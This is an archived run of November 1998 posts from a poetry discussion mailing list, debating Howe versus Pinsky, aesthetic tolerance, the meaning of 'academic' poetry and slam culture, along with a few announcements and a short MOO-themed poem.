Following up on Bob Holman's point, I think a good essay could be written on the affinities between Howe and Pinsky. There is the parochial effort to express the "core" of "American" experience for which I would assume many non-North Americans would have some difficulty finding the tolerance required for any enjoyment of their work, but which in Schuchat's Confucian terms probably represents the substance of their charm, their "essence" as poets. Their essence is their search for this essence. Don't get me wrong: I consider the parochial to be the saving grace of human civilization. For Pinsky, it's the jersey Jewish boy groping line-by-line toward the center of America; for Howe it's the old Boston WASP groping stutter by stutter toward the periphery; they need each other, just as "alternative" poetics needs the old-timey music. We should be grateful for the keepers of the fumes.

Poetry records the adventures of a particular language in history, & I would guess that the prospectors of the early 21st century will not exactly repeat the paradigm of "opposition", of a philistine exterior and a sophic core, of a

Longfellow vs a Dickinson or Whitman, in re-reading late 20th century poetry in English. I'm not sure what the paradigms will be but they won't be that, exactly. Schuchat & Holman may be onto something. Transparency & confidence bespeak a poetic power that can afford to be tolerant as it spreads its meanings far & wide. - Henry Gould

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713. **Tom Beard**

Re: Howe/Pinsky

Sun 22 Nov 1998

> *I don't think it's going to be possible to see a criticism*
> *that includes*
> *language, visual, sound, folk, and Pinsky poetry until we have poetry*
> *readings that incorporate all of these poetic offshoots.*

But there are individual poets who include all of these strands into their writing. An example might be Edwin Morgan (quoting from unreliable memory):

langpo: Thoughts of a module; code poems
vizpo: Three persian cats having a ball; Message clear
soundpo: The Loch Ness monster's song
folkpo: various dialect pieces
Pinskpo: Instamatic poems; Strawberries; Glasgow Sonnets

The last category is a guess: I'm (s/gl)ad to say that I've never read Pinsky, but the titles I mentioned are certainly in a conventional lyric mode. Also, I'm not sure whether any of Morgan's poems, no matter how language centred or "non-representational" they get, can be considered "language poetry". He certainly doesn't seem to claim the same political values for his techniques that "Classical" language poetry does: while there are political purposes at times, he seems in the main to be pursuing play and possibility.

You could probably also add gaypo & scifipo to the list, as well as several categories that don't (yet) exist. Any model of criticism that can accommodate all of Morgan's modes would have to be broad indeed.

Cheers,
Tom Beard.

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714. **Eliza McGrand**
whistles & bangs down the hall
Sun 22 Nov 1998

the angst over mr. pinsky's triumphs is akin to angst these days over slam poetry. on the one hand, one (presumably, as member of list devoted to poetics) applauds outbreak of interest in poetry, any poetry. as m. weiss so ably put it, appreciation can move from one poet/poem to the next, not a heirarchical ladder, but more like, really, spilled orange juice. sticks to all, trickles into all, soaks through all, and the scent remains.

but, is the appreciation for mr. pinsky, or for slam poetry (not that i am equating the two) really an appreciation for poetry, and as such, subject to trickle down/over/up/into effect? or is it appreciation for trappings of appearing to appreciate poetry?

example: vast arrays of self-described "poets" on web now at various poetry sites, many of whom do not, in fact, want to be bothered with reading poetry. they read greeting cards, each others poems. but they don't subscribe to poetry magazines, or get anthologies, or take classes, or study historical evolution/shaping of poetry. slam poetry -- most often of that ilk. reading of painfully unoriginal recirculated images and poses for dramatic effect. occasional actual poet as i would define it, someone so personally and intensely interested in poetry that not only do they ravenously read it, they keep trying to write it, and write better, newer, sharper.

i am not prepared to take a fixed position on this yet, but sadly, my suspicion is that the participants in slam poetry are not, for the large part, going to really seriously take up intense and focused study and writing of poetry. pinsky-ites? i think of bu program turning out long tail of earnest male clones, a factory of pinskyians. i'm not sure how many of them will attain enough confidence and fire to let go of imitating, and the received version of a poetic, enough to go off on their own. is it pinsky's fault? i'm not sure.

i suspect a good teacher of writing, a good Important Writer, dislikes and distrusts being copied enough that she/he discourages it and if in charge of some official "class" or "group," will endeavor to send each writer off in their own individual direction however opposed to I.W.'s own project it might be. i've had teachers who went out and started reading and writing techniques of another writer just becuase i was so excited about it and they wanted to encourage, rather than squash or mold me. i may have written in ways completely different than theirs, but if anything, they were amused and excited by it. mr. pinsky does seem to change and evolve. will his followers? will he cease molding followers? does he know he has followers? can he HELP having followers?

e

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715. Eliza McGrand
Re: Society of Unimportance
Sun 22 Nov 1998

dear mairead

i would join your society of unimportance, except i refuse to be a member of any group that will have members. so, i sit slipping in and out of the edge of your society cheerfully raising my glass in between bouts of a wild rage of poetry. e

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716. Tom Beard
Tolerance & the academy
Sun 22 Nov 1998

I see the word "tolerate" as very much double-edged, in the mode of "condone", implying that one feels distaste for something but grudgingly concedes that it has a right to exist. In this sense, it's more of an insult to tolerate something than to honestly criticise it.

It reminds me of the days when I was first groping my way into poetry, when I staggered through the limbo of weekend workshops and Poetry Society readings. Everyone's too polite to say "I don't like that", so they ooh & aah & nod their heads in gentle encouragement. It's a pleasant change when someone considers one's writing worth the effort of criticising.

> *I'd be curious to see what*
> *the breakdown of jobs is on the Poetics List, all 700 folks,*
> *since I suspect*
> *Peter's right that perhaps 500 are in some connection to the*
> *academy, but as*
> *one of the other 200, no, Peter, it's nothing like 100%.*
>
> *Ron*

There's probably a continuum of academic affiliation (no, "continuum" is too simple: it probably has at least two dimensions, possibly about 2.5). Some points along the axis of literal academe:

- never studied lit beyond high school
- studied lit at varsity/college, as part of another major
- majored in lit (or linguistics/cultural studies/etc)

- post-grad education in the above
- teacher and/or researcher in the above

Some points along another axis, which is often what people mean when they say "academic", but is perhaps more accurately called "intellectual":

- Never write/read poetry - Write/read only poetry that is "accessible"/conventional/populist - Write/read poetry of the workshop persuasion, perhaps a little bit of post-mod playfulness, but nothing too obscure (Jenny Bornholdt?) - Write/read poetry, criticism & theory that requires (or at least is enhanced by) some familiarity with post-structuralism - Exclusively write/read po/crit/theory that requires a solid grounding in theory; have been known to quote Lacan (in the original) to taxi drivers; once wrote an essay in which the word "reification" appeared three times in a sentence

I'd guess that most people on this list are towards the end of the second list, and at least past the middle of the first. There are of course a smattering of outliers: perhaps academics in other fields who have never formally studied literature but who read Howe & Bernstein & Foucault & Adorno in the bath; people with PhDs in cultural studies who think that all poetry is boring; taxi drivers who read Lacan in the original but disagree with everything he says.

If we're going to plot ourselves in some sort of po-space or cloud of academic possibilities; I'd say that I'm someone who's in a fairly unusual space, list-wise: I've never studied poetry formally since I was 16; I'm academic in the sense that I have post-grad qualifications (in geophysics), but I've moved from being an operational meteorologist into graphic design (for which I have plenty of enthusiasm but zero qualifications); I've stumbled my own way into poetry and even get published from time to time in various odd places; I write criticism and am attracted to a quasi-scholarly attitude; I'm an Armani-clad yuppie who likes underground culture & experimental art; I'm intrigued by langpo & contemporary theory but am not entirely sold on 'em (hell, I still like early Eliot, I still like Geoffrey Hill); and this list is about the only contact I have with people who have even _heard_ of Creeley or Benjamin or Hejinian. The vast majority of people I know would consider me "academic" (or at the very least, "pretentious"); but I don't think I'd be academic by the standard of this list.

Phew, now that I've bored the list with that, I'll sink back into lurkage.

Tom Beard.

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717. Ron Silliman

Further

Sun 22 Nov 1998

"Academic" in the context of poetry is a somewhat archaic synonym from the 50s through 70s for Iowa School or, roughly speaking, "What Gets Published in the New Yorker." It has nothing to do with how poets make their livings. It's continued survival reflects the lack of a newer consensual term. "Academic" poets, by the way, never called themselves such.

But, once Auden left, the Iowa City poets tended to be neglected by the Gnu Yawker in favor of Louise Bogan's closer friends in the Lowell and post-Lowell circle, no. My own understanding of "Academic" as it was first used around the world of poetry is that it really referred to those poets (Warren, Lowell, etc.) who were too cozy with the New Critics, a group after all mostly composed of poets whose schtick was to show that they could out-professional everyone by means of close reading and the development of the so-called specialized reader.

The Writers Workshop was, more or less from the first, a mechanism for the writers there to free themselves of too much association with All That and one of the great successes of the workshop model was that it showed writers all across the country how to survive in the university in spite of cloistered poetics/politics of the N.C. crowd. So it became the relief from theory site on many a campus. When Syracuse a few years back wanted to mandate theory (a term with a far different meaning in the late 1980s than in the mid-50s) as an undergraduate requirement for English majors, the school had, as I understand it, to split off the creative writing program from the English dept. since they held enough votes to block it. So the creative writing department became the official No Theory Here locale for otherwise literate types. The so-called Naked Poetry types of the writing departments were a sharp contrast with the decidely well-dressed Brahmins.

It was precisely the return to close reading by many of the so-called langpos in the 1970s that
sent various sorts (both of the Iowa City and also some of the more rigorously anti-intellectual
New American types a la Clark and Codrescu) into conniptions.

But, as I believe Whalen once wrote of the Greeks,

"rooty toot toot,
we're the boys from the Institute"

Ron

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718. Ron Silliman
Citation
Sun 22 Nov 1998

I should have noted that the first paragraph in that last posting was a quotation from Mark Weiss's missive of earlier in the day.

Hey, Bob H, your friends perception about Susan H & Robert P is not wrong,

Ron

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719. MAYHEW
Re: Tolerance & the academy
Sun 22 Nov 1998

Tolerance as a concept is both negative and vacuous, negative because it implies being able to withstand unpleasantness, and vacuous because it is impossible to be tolerant in the abstract, without reference to some specific thing. It's good to be intolerant of racism. "Zero tolerance" of drugs, maybe not. Pinsky is a "tolerable" poet--mediocre but we can stand him in small doses. I have a low tolerance for pain. In each example the word tolerance seems to mean something different.

As for the term academic, I always thought of it like the European "academies," the kind that didn't let the impressionist painters show their work. Thus the salon des refusEs and the beginnings of the idea of the avant-garde as oposed to the academic. This meaning of academic then came to apply to universities--it seemed to fit Audenesque poets of the 1950s, given the fact we call higher education academia.

Jonathan Mayhew
Department of Spanish and Portuguese

University of Kansas
[redacted]

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720. **Bob Haynes**
Re: tolerance
Sun 22 Nov 1998

I am new to this list and so feel a bit self-conscious even posting this small missive. This thread about tolerance, however, is quite fascinating to me and I wanted to keep it alive. A while back I had a conversation with a poet "friend" exchanging ideas about new directions and what we (perhaps erroneously) labled avant-garde/experimental. I was talking about liking John Asbery and her reaction was one of horror, saying she thought J.A. to be one of the biggest fakes in poetic history, and that critics were but silly goofs for even commenting on his work. She reacted in a very intense and personal manner, citing how the real poetry was being shaped by the likes of Mary Oliver, Mark Doty, and a few others. Not that I dislike the poets she named, but rather I felt machine-gunned by her reaction, which seemed to me at the time anything but "tolerant." She has her opinion and it's the law. That's why I am intrigued with Marjorie Perloff's idea of side-by-side comparison as a mean toward "intolerance." One must have a modicum of tolerance to even "compare" (if the reaction of my friend is any indication of how we so easily and quickly get "set in our ways").

Bob Haynes

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721. **Katie Degentesh**
Re: whistles & bangs down the hall
Sun 22 Nov 1998

> *occasional actual poet as i would define it, someone so personally and intensely interested in poetry that not only do they ravenously read it, they keep trying to write it, and write better, newer, sharper.*

This "occasional actual poet" is as rare in creative writing programs, Pinsky-led or "langpo" or otherwise, as it is in the slam poetry scene. The fact of the matter is that there are now so many people interested in something they call poetry (whether or not everyone else would define it as such) that it's impossible for all of them to be "actual poets." In any genre, an actual poet is a rare thing. "Intense and focused study and writing" is not always -- or even usually -- enough to create one. For every "actual poet", there are going to be about a hundred semi-actualized poets. This is inescapable. In fact, in some ways it's

good, because at least it creates an educated audience for the "actual poets." In this "educated audience" I include most slam participants, who if nothing else at least have a sense of how to judge a reader, if not always a poem. All we can do is be passionate, vehement, and verbal about pointing out medicrities, likes and dislikes (this is, I believe, what we have been referring to as "intolerance" -- that unfortunate buzz-word that pushed so many PC buttons) while allowing others to do the same (tolerance).

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722. **A. Jenn Sondheim**
Julu, Waiting on a Lounge Chair
Mon 23 Nov 1998

-

Julu, Waiting on a Lounge Chair

.desc as waiting for you to .examine me ... You are known as: julu as waiting for you to .examine me ... .examine julu
---------- ay, how would you describe me? you'd take a moment and look at me, maybe when you log on or through the .w command and that would excite you! more, you'd always ask for, beg for; nearing the end, you might run an .examine julu, just to see what would come up. i'd be waiting for something about warm pulsating walls or rather i'd be waiting for someone in warm pulsating walls, hoping for the concrete before the conclusion initiated by the presence of a single or singular dot, isolated on a line by itself, hovered in the silence of a perfect conclusion. now you know i am lingering about, waiting to see what you make of my perfect description. you will want me and you will search my name, hungering for more and more, writing me as you realize that you and i were made for each other. it is a long way home from there, but you and i know the way.
---------- Listening to shouts and tells.

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723. **Ramez Qureshi**
anyone tolerate Reading?
Mon 23 Nov 1998

Forgive my ignorance, but i've just come across the British poet Peter Reading. Is anyone familiar with his work? Offer comparisons to contemporary American poets? Suggest how to approach him? etc.

much thanx,
RQ

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724. Todd Baron /*/ ReMap
Re: need?
Mon 23 Nov 1998

"First there is need...then there is the way..."

__Reznikoff

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725. Angela Szeto
Travel business
Mon 23 Nov 1998

Hi Everyone -- I'm stopping over in Paris for two weeks on my way to Dubai and I was wondering if anyone knew of anybody who needs someone (me! me! me!) to housesit for them. I will be in Paris from about January 18 to February 5 in the new year.

PLUS

If anyone has to come to Vancouver for Christmas and needs a place to stay, I might have something for them.

Please backchannel

Regards,
Angela Szeto

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726. Gabriel Gudding
Weiss: My Thumbnail Sketch of Am Ren
Mon 23 Nov 1998

On Sun, 22 Nov 1998, Mark Weiss wrote:

> *One more: critical stance rarely engenders. It usually follows from practice. But here's an uneducated hunch: in the period you target there was a lot of sentiment for the establishnment of a national literary voice, differentiated from the brits, for obvious reasons. Hence, perhaps, whatever degree of tolerance there may have been.*

Mark, I'm right there with you in everything you say, except your first sentence: the relation between formal reception (critical milieu) and the practice or creation of poetry should not be oversimplified for the sake of a dictum ("critical

stance rarely engenders"). In the case of renaissances, an open critical stance is an integral part of literary happenings.

I'm only targeting this period because there WAS such a very clear relationship btw criticism and creation. The push for a national literary voice was one of THE MAIN facets of this criticism, and eventually it was this push that brought about a new critical milieu: in many ways, I'm saying, this push for a national literary voice brought about a need to RE-EVALUATE criticism, and this re-evaluation of criticism was the nest in which our tweety american chick of Whitman and Company was born. Here's how I would sketch it:

Americans grafted the British prophetic role of poetry upon their German-influenced nationalistic hopes for America -- and considered poetry the apex of American letters.

No other genre and no other art at that time could boast the same expectations of it. The hopes that were placed upon and the role that was given to poetry were extravagant. To some extent, its failure to meet this challenge contributed to poetry's eventual fall toward a secondary role in American letters, explaining in part, in the words of the contemporary historian Joseph Harrington, "why American poetry is not American literature."

The constant fact of the crucial quarter century of Scots criticism is that one can draw a distinct line between the poetics and the criticism of the time: the poets were not contributing greatly to reviews, nor were critics writing poetry; the reviewers were not minutely concerned with how to create poetry, so much as how to judge it.

Finally, and most importantly, poetry, because of the high hopes placed upon it, was considered the laggard of American letters: Even during the debates about copyright in the 1840s, which brought about many comparisons between the literary productions of America and England, it was poetry that was considered the runt of the literary litter.

Oddly enough, given that the main audience of poets in America (for over the quarter century preceding the great flourishing of letters known as our Renaissance) was critics, few literary historians have considered what influence this relationship had on American poetics -- and this is mainly because these historians have assumed American poetics to be a slightly distorted mirror image of British poetics.

Contrary to popular opinion, there was a HUGE difference btw American and British romanticism: vast wonking differences.

Until the 1840s, the critic was seen as the arbiter of public taste; he distrusted both the reading public's ability to choose appropriate works for purchase, as well as the poet's ability to create suitable pieces for the public. I'm sorry, but

it just cannot be denied that the poets of antebellum America felt their poetry was opposed -- whether by a vague almost demonic and unpoetic force, by professional critics, the reading public, or by the incidental reviewer, journalist or editor.

I mean, some of the rhetoric against critics during the period prior to the 1840s is JUST CRAZY. But once the rhetoric clears, and you have a few years of non-cantankerous get-along, you begin to hear from the early Whitman and Thoreau and Fuller and others.

The historical correlations are extraordinary: so extraordinary that it is almost impossible to graft onto them the same old tired rhetoric of struggle and opposition being of themselves engendering factors.

I'ma get some coffee.

Gabe

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727. Jim Andrews
Clemente Padin vispo and enigma n for ie4
Mon 23 Nov 1998

I've put together a pretty good webliography (though not complete, I suspect) on the work of Clemente Padin available on the Web, and tonight put up nine works of his at Vispo from Clemente's Visual Poems 67-70.

Also, I finished the Internet Explorer version of Enigma n this weekend. This is a philosophical vispo toy that is written for philosophers and poets from age 4 up. It is most interesting in Internet Explorer, rather than Netscape, but it works in both.

Both Clemente's fine work and Enigma n are reachable from http://speakeasy.org/~jandrews

Jim Andrews

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728. Gabriel Gudding
Perloff & The Rubicon of Stupidity
Mon 23 Nov 1998

1). A canid's soppy-tongued thankyou to Henry Gould & Mairead Byrne, Eliza McGrand & Chris Reiner for so gently articulating what I could only bark.

2). There is a fine line between Stupidity and Idiocy -- and I have crossed it. Thus I continue:

3). There are two kinds of critics: those who pave the way for Authors and those who pave the way for Anthologists. Jorie Perloff, in her advocacy of THE IMPORTANT, proves herself, like Vendler and Bloom, to be one of the latter.

4). A Prolegomenon to All Future Adversaries: if your argument is as powerful as the smell from your lap, you might defeat me.

Good lord, I'm barking again.

-- Guttapercha Bunsen

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729. Pete Landers
Re: Susan Howe thread/Pinsky
Mon 23 Nov 1998

There are some long, well reasoned, and probing comments on this thread. My own theory as to how Howe finally got the recognition and attention she deserved is far more simple. WWNorton took over distribution of New Directions. I think other things changed hands in that deal, including publication rights for some famous works that have long been New Directions staples. But whatever else happened, ND had lots of money. They looked around to see what had been going on now that they could afford to do anyone's book. Ms. Howe was one, but there were others who they added to their booklist.

It takes more than an established literary publisher to establish a poet in the mainstream. It also takes good content, unique voice, rigor, and an intellectual respect, to name a few characteristics. And it's not like anyone has a list they check off. It's the total effect. But it REALLY helps to have that ND name on the spine.

I know what my instant reaction to her work was. When the Montemora supplement came out, Pythagorean Silences, I stored four on the back shelves and took one up front. Cracked open to the first page as I walked and... sat down and read it! Well... I had to work, so I bought it.

Do you like King Arthur? Do you like Shakespeare? Do you like Emily? Do you follow modern poetics? Do you argue or agree with long dead writers? If yes to all, Susan Howe might just "take the top of your head off".

Pete

p.s. gotta unsub for a while till I have a new address. I don't work at this address after today.

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730. David Kellogg
Thoughts on the Pinsky/Howe
Mon 23 Nov 1998

OK, I've got a big stake in this, as those who've read my work know.

In these Southern parts, I hear a lot of anti-tolerance talk, of the following type: "They don't want me to just tolerate their perverted, ungodly lifestyle, they want me to accept it and promote it."

Actually, tolerance would be just fine.

Marjorie wants to separate political from aesthetic tolerance, but don't think such separation can or should be done, esp. since the operations of the "academic" (which as Ron pointed out, has yet to be unpacked) mean that poetry evaluation and poetry jobs go uneasily together.

Jonathan Mayhew may be right that the word "tolerance" is both negative and vacuous, but our whole language for dealing with these issues is bankrupt -- whaddaya wanna do, not talk about it?

Jonathan, if Pinsky is a "mediocre poet," are those who actually enjoy his work mediocre readers? Mediocre intellects? Mediocre people?

I'm with Susan Schultz (hi Susan!) -- I'll passionately advocate my tastes, but I'm not about to speak for another.

Cheers,
David
~~~
~~~

At an open mike, toleration is essential. When you edit a magazine you do not have to tolerate anything. Your choices may result in an alienated readership, but they will be _your_ choices. Nobody is interested in a magazine, for instance, that "tolerates" everyone. Editors and critics are expected to have opinions. When they fail these expectations, their usefulness falls into doubt. We compare our own opinions to theirs and use the result when choosing what to read. For instance, if Hoover/Chernoff accept a poem into NAW, you and I gauge that against our opinions about what they will accept. While a literary critic is not the same as a movie critic with her thumbs in up or down positions, her choice of what to explore clearly indicates her preferences.

Therefore, Ms. Perloff is doing her job when she is intolerant.

But I'd rather express this in terms my ex-in-laws can understand. I can tolerate Pabst Blue Ribbon, but I won't drink it. I don't think ill of people who do drink it. However, if a beermeister at Heineken tolerated the flavor of Pabst in my Heineken, I would stop drinking it.

Any poet who claims to accept or admit everything as equal in the eyes of poetry can't be speaking honestly. It takes a strong fortitude to sit through the full open mike, but those of us who do not leave early stay from courtesy, not toleration. We have taste, we just don't feel it is necessary to express opinions of taste all the time. Other times, opinions of taste are required.

Pete

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732. Michael W Bibby
Re: A PS on the Tolerance issue
Mon 23 Nov 1998

This exchange, Joe, is helping me think through some issues crucial to my work--so to respond:

On Sun, 22 Nov 1998, Joe Amato/Kass Fleisher wrote:

> *when i used "aesthetic per se," i meant to denote emphasis... as opposed to "politics per se"... i'm certainly not suggesting "aesthetics" is, in actuality, completely bracketed from "the world"*

I didn't mean to suggest that you were doing this, rather I wanted to note something I felt was inherent in the phrase that pointed to a tendency to think aesthetics as somehow outside or above the contingencies of the world--

> *... but i have to say,*
> *michael---when you call me on this point, i begin to think that i'm dealing more with a critic than with a poet... i mean zero insult in saying this*

None taken--and you're right here--I'm not a practicing poet--I'm a teacher, student, critic--

> *had i written "politics per*
> *se," would you have called me on *that*?*

Well, yes, actually I would have--although, I prefer not to think of my response on the "per se" as "calling" you on it--

> *and can we really operate---as critics OR poets or whatever---as*
> *though there are no differences twixt the aesthetic and the political, as*
> *though at no point in time might we be able to discuss primarily one and*
> *not the other?...*

Precisely not, and this insistence on the political nature of aesthetics (and, perhaps, the aesthetic nature of politics) was what I have in mind--

> *but let me be a bit strident: is the point now that cultural studies is to*
> *turn its attention to poetry, finally, and do *only* what it's been doing*
> *right along?*

Not at all--I didn't mean, by remarking on how little cultstds has analyzed poetry/poetry production/poetry cultures, that it's high time it did--rather my point was that Poetry Studies, as I see it being practiced in the US, tends to be very invested in the business of discerning aesthetic values, discriminating between what's good and what's bad, which has, I believe, a tendency to stifle other methodologies, other interests. Ultimately I'm not very interested, as a teacher/student (leaving out critic, which implies criticizing [altho need not always]) in working out why Howe is better than Pinsky--I'm personally more interested in figuring out why, for example, certain social groups like Pinsky more and others like Howe. Someone just recently mentioned on the list that perhaps the Pinsky and the slam-po phenoms appeal only to audiences "sense" of poetry and have very little to do with "real" poetry--but *that's* also (but not *solely*) of interest to me--the ways social groups perceive and/or articulate the "poetic."

> *i want to ask, with some (rhetorical) urgency, "certain people in certain*
> *times" refers to poets too, right?... you mean to say, among other things,*
> *that we might look at the question of writing culture(s), using as an*
> *example practicing poets?...*

Most definitely--

> *but in any case, how would we go about*
> *designating what's important enough to fall under our gaze?... would we*
> *simply assign "importance" on the basis of what a specific group seems to*
> *"need"? (i'm not arguing against doing so)... how would one go about*
> *choosing said group?... at the same time, would we focus on aesthetic*
> *criteria (will you allow me this latter?) that we find manageable*

> *critically, and would this manageability speak to what's "important" for those who are, as well as those who are not, poets?...*

Ah ha! and here I'm caught and we're back to making choices, discriminating, being "intolerant" of one thing so we can look at another. Naturally, judgement must play a role in the defining one's field of study. I'm not calling for the banishment of reasoned choices--I'm suggesting that such choices need not be put in the service of advocating one set of aesthetic criteria over and against another--but I'm also not suggesting that there is never any place for the advocacy of a particular set of aesthetic criteria. Of course, poets do this all the time--they have to because, as you suggest, that's basically how they come to define what they do--they write to make language strange, for example, or to capture the sound of a diasporic language, or whatever. But my point is that I don't feel I need, as a teacher/student, to come to the poet's work with an Aesthetic already in place--rather I want to understand what the poet's aesthetics are and understand how those aesthetics relate to her discursive community(ies).

> *further, local value is never merely local in the hands even of a great critic, i would venture---it's always a value-added activity, if only b/c critics in general, as critics, operate from outside of a particular (artistic) discourse...*

True--and this poses some very difficult problems for the kind of work I want to do--it's sorta the ethnographer's dilemma in a sense--and so, i don't think one should try to ignore it, go around it, or dismiss it--rather it seems more important to engage one's own value-system and one's own situatedness head-on--

> *it just can't be that we continue to interpret and remark and comment (as scholars or critics) w/o at the same time exhibiting our likes and dislikes (and i wish i'd written that last sentence w/o any residual oppositionality, but to riff a bit on raymond williams, emergent forms that provide opposition, and not merely alternative possibilities, are also of value, esp. in a consumer culture such as ours)...*

True--but I'm just asking for a poetry studies that does less advocating one's likes/dislikes (contra Perloff's suggestion which began this thread) and more describing how poetry means/does in its various communities--because it seems to me this makes possible more ways to teach and appreciate more and more poetries--

> *in any case, again---i would think it imperative that rendering judgment be conducted with great care, as in any worthwhile reckoning... what i object to is the apparent absence of (aesthetic) judgment, of the (almost transcendental) critical move that takes us completely away from the generative controversies of a given body of work to its (popular) reception, with little discussion of how the work does the cultural work it does, how it creates/reinforces (in its readership) specific experiences...*

> *this must of necessity be a matter both of formal complexities (or lack of same!) as well as cultural context*

I agree--and it's through close reading that one understands and appreciates what a poem does in its contexts--I would not at all advocate a kind of superficial, topical cultural study of poetry--"this poem advocates resistance to oppression because it says `off the pig' and therefore it's a good poem *in its contexts*"--but I don't know many doing the sort of cultural study of poetry I'm advocating who do that--certainly Maria, Aldon, Cary Nelson, and James Sullivan don't.

but I've blabbed on far too long--

michael

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733. Wendy Battin
CAPA--call for o.p. books
Mon 23 Nov 1998

Lately I've been discouraging people from submitting poetry books to CAPA because we've were so far behind, but we've recently been blessed with a couple of competent and energetic work-study students to do scanning--hallelujah!. If you hold copyright to your out-of-print books and want them made available online in the archive, contact me--**backchannel**, please, at the address below.

CAPA is open to full-length books of poetry published in North America-- no vanity publications or previously unpublished collections, please. Details available at the CAPA site, http://capa.conncoll.edu

Wendy

ps: Don't mail the books to me in Mystic--I don't want them
languishing here for 8 months while I'm away. I'll post
the new snailmail address at the CAPA site later this week.
(I'll be able to make corrections and attend to problems
from Greece, as far as I know, but I'm still working out
the procedure.)

==========
Wendy Battin [redacted]

Contemporary American Poetry Archive
http://capa.conncoll.edu

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734. **Charles Alexander**
Re: tolerance
Mon 23 Nov 1998

At 11:38 PM 11/22/98 EST, you wrote:
>I was talking about liking John
>Asbery and her reaction was one of horror, saying she thought J.A. to be one
>of the biggest fakes in poetic history, and that critics were but silly goofs
>for even commenting on his work. She reacted in a very intense and personal
>manner, citing how the real poetry was being shaped by the likes of Mary
>Oliver, Mark Doty, and a few others.

Here's where reading has to come in (I hope). Not to disrespect your friend, but I have known others, with similar opinions, who simply haven't read enough of the work to have the right (in my opinion) to spout the opinions above. My first questions to her would be -- What Ashbery have you read? Have you read other poets in Ashbery's circle or context that offer illumination of such poetry? What in his work makes you think he's a fake? and on the other side -- What do you really like about Doty's poetry? Oliver's? -- and maybe get to questions eventually, like -- What do you think Ashbery tells us about the relationship of individual and world / speaker and audience / society and language / etc.? Do you think Oliver's and Doty's implications about such matters are as interesting as Ashbery's? Why? And I do think this line of questioning can be done in a way which is not insulting or threatening to your friend or to people who have espoused such ideas. Not that they will all let you get too far with such questioning before they just walk away.

Just that, all too often, when I hear such blanket discountings, I have found out, on probing, that whoever is saying them is repeating what a favorite teacher or mentor told her or him, and often that it wasn't original with that favorite teacher or mentor, either. So there's just a lot of unquestioned assumptions out there. So I tend, in talking about Pinsky or Gerald Stern or others I don't care a lot about, to simply say that I've read only a little and I wasn't inclined to read any more -- the work just didn't interest me very much. Whereas if I want to make such assumptions as your friend is making, I'd better prepare myself to back them up.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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735. **Joe Amato/Kass Fleisher**
Re: A PS on the Tolerance issue
Mon 23 Nov 1998

michael, thanx for your post, helps much...

only thing i would add (and this is probably raising an issue that's been raised too many times at this point) is that i took the gist of marjorie's post to advocate both discrimination *and* close reading (i.e., discrimination on the basis of, among other things, close reading)... implication being that there's critical work out there that tacitly offers us in essence all sorts of discriminations *w/o* close reading---that claims are often made in the absence of formal interrogation, and in the service of a broader cultural view...

and perhaps this (!): a prime reason that poets, all artists in fact, get pissed at critics is b/c they feel that the urgencies with which they come to their work are not at all present in critical discourse... i'm speaking in the abstract, and what critics wish to do about this, well---that's part of this thread, i guess... it's true, as you say, that a certain portion of established critical practice, coming out of the old guard, too easily dismisses such & such work as shoddy, or such & such work as a masterpiece... but it's equally true that recent perpetual harping about what's valuable (or not) to a specific group---and i'm not hinting at "multi-culturalism" here, though i do have cultural studies in mind---in the absence of any sustained analysis of the work, risks a situation where there is little distinguishing among reading experiences (what happens, in effect, is that one charts, almost demographically, enthusiasms and fascinations, but never really looks with a critical eye at how the work is actually accomplishing such... work!)...

i feel obliged to aver (my but i go on!) that anyone who knows me knows i mean nothing anti-theoretical in observing so... i get pissed mself at the creative writers ron s mentions, who position themselves against theory (and against any but more conventional forms of poetry, too)... but (i may as well spell it out) some of the more emancipatory claims i've heard (read) of late for cultural productions of one sort or another are falling from the mouths of some of the most aesthetically conservative literary-critical types (please don't ask me to name names)---folks who would no doubt regard much of the writing with which this list is preoccupied as enlightened blather (that is, if they were willing or capable of regarding it at all---and here i simply *must* mention the incredible amount of work marjorie has done in opening up academe to such writing, and w/o losing sight of aesthetic issues)... and i take david k's point, too, re the impossibility of entirely disengaging political and aesthetic tolerance, for one, owing to intersections of intellectual capital and the academic job market---but

you'd still have to have some knowledge, david (as you know), of what you mean by an political *and* aesthetic "tolerance" so *engaged*...

(i still don't like this word, tolerance, in this context... when i think of tolerance, i think of machine tolerances---allowable *deviations* from a standard)...

i'd almost like to go on here, try to bring this discussion around to questions of literacy... for my money, i see older (print) literacies in the process of being displaced (and i can understand how this might be a good thing, in some sense)---but what worries me is that i don't see much rushing in to fill the void, other than various forms of marketplace savvy, i mean... but that's another (probably pedagogical, probably long) story, for another time...

best,

joe

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736. **Mark Prejsnar**
neononanticounteracademicism
Mon 23 Nov 1998

On Sun, 22 Nov 1998, Mark Weiss wrote:

> *"Academic" in the context of poetry is a somewhat archaic synonym from the 50s thru 70s for Iowa School or, roughly speaking, "What Gets Published in the New Yorker." It has nothing to do with how poets make their livings. It's continued survival reflects the lack of a newer consensual term. "Academic" poets, by the way, never called themselves such.*
>
> *Ron: Pinsky's performance is rather the opposite of what you suspect. No pretense to afflatus. More "anybody can do this, and it's good for you, although not all that important." A bit like Mr. Rogers.*

The latter paragraph is wildly funny...Much appreciated. But i wanna bounce off of Mark's first paragraph, which is both amusing and accurate i believe.

(By the way, Peter Q. and Ron S., not all the discussion of Susan Howe vis-avis academe, had anything to do with *putting down* academics; i was involved in starting that thread, and i was merely trying to clarifiy the current *social locus* of Howe in the poetry world: someone had said she was now a *popular* poet among academics, and i begged to differ, and i think because i had just seen a bunch of Pinsky being reshelved at Emory's main library, i used him as an example of what it seems to me folks around University Engl. Lit depts *are* encouraged to read, if!! they read anything contemporary.. a huge if!)

(And no not everyone on the list is an academic by a long chalk Peter: tho i'm a clerical worker in academe, anyone who's done that will tell you it's pretty far from being within academe...Quite a few personal friends and acquaintances on this list are like me poets and not academics...Nonetheless, i don't think most of us are putting you-all down when the shape of criticism in academe is discussed...)

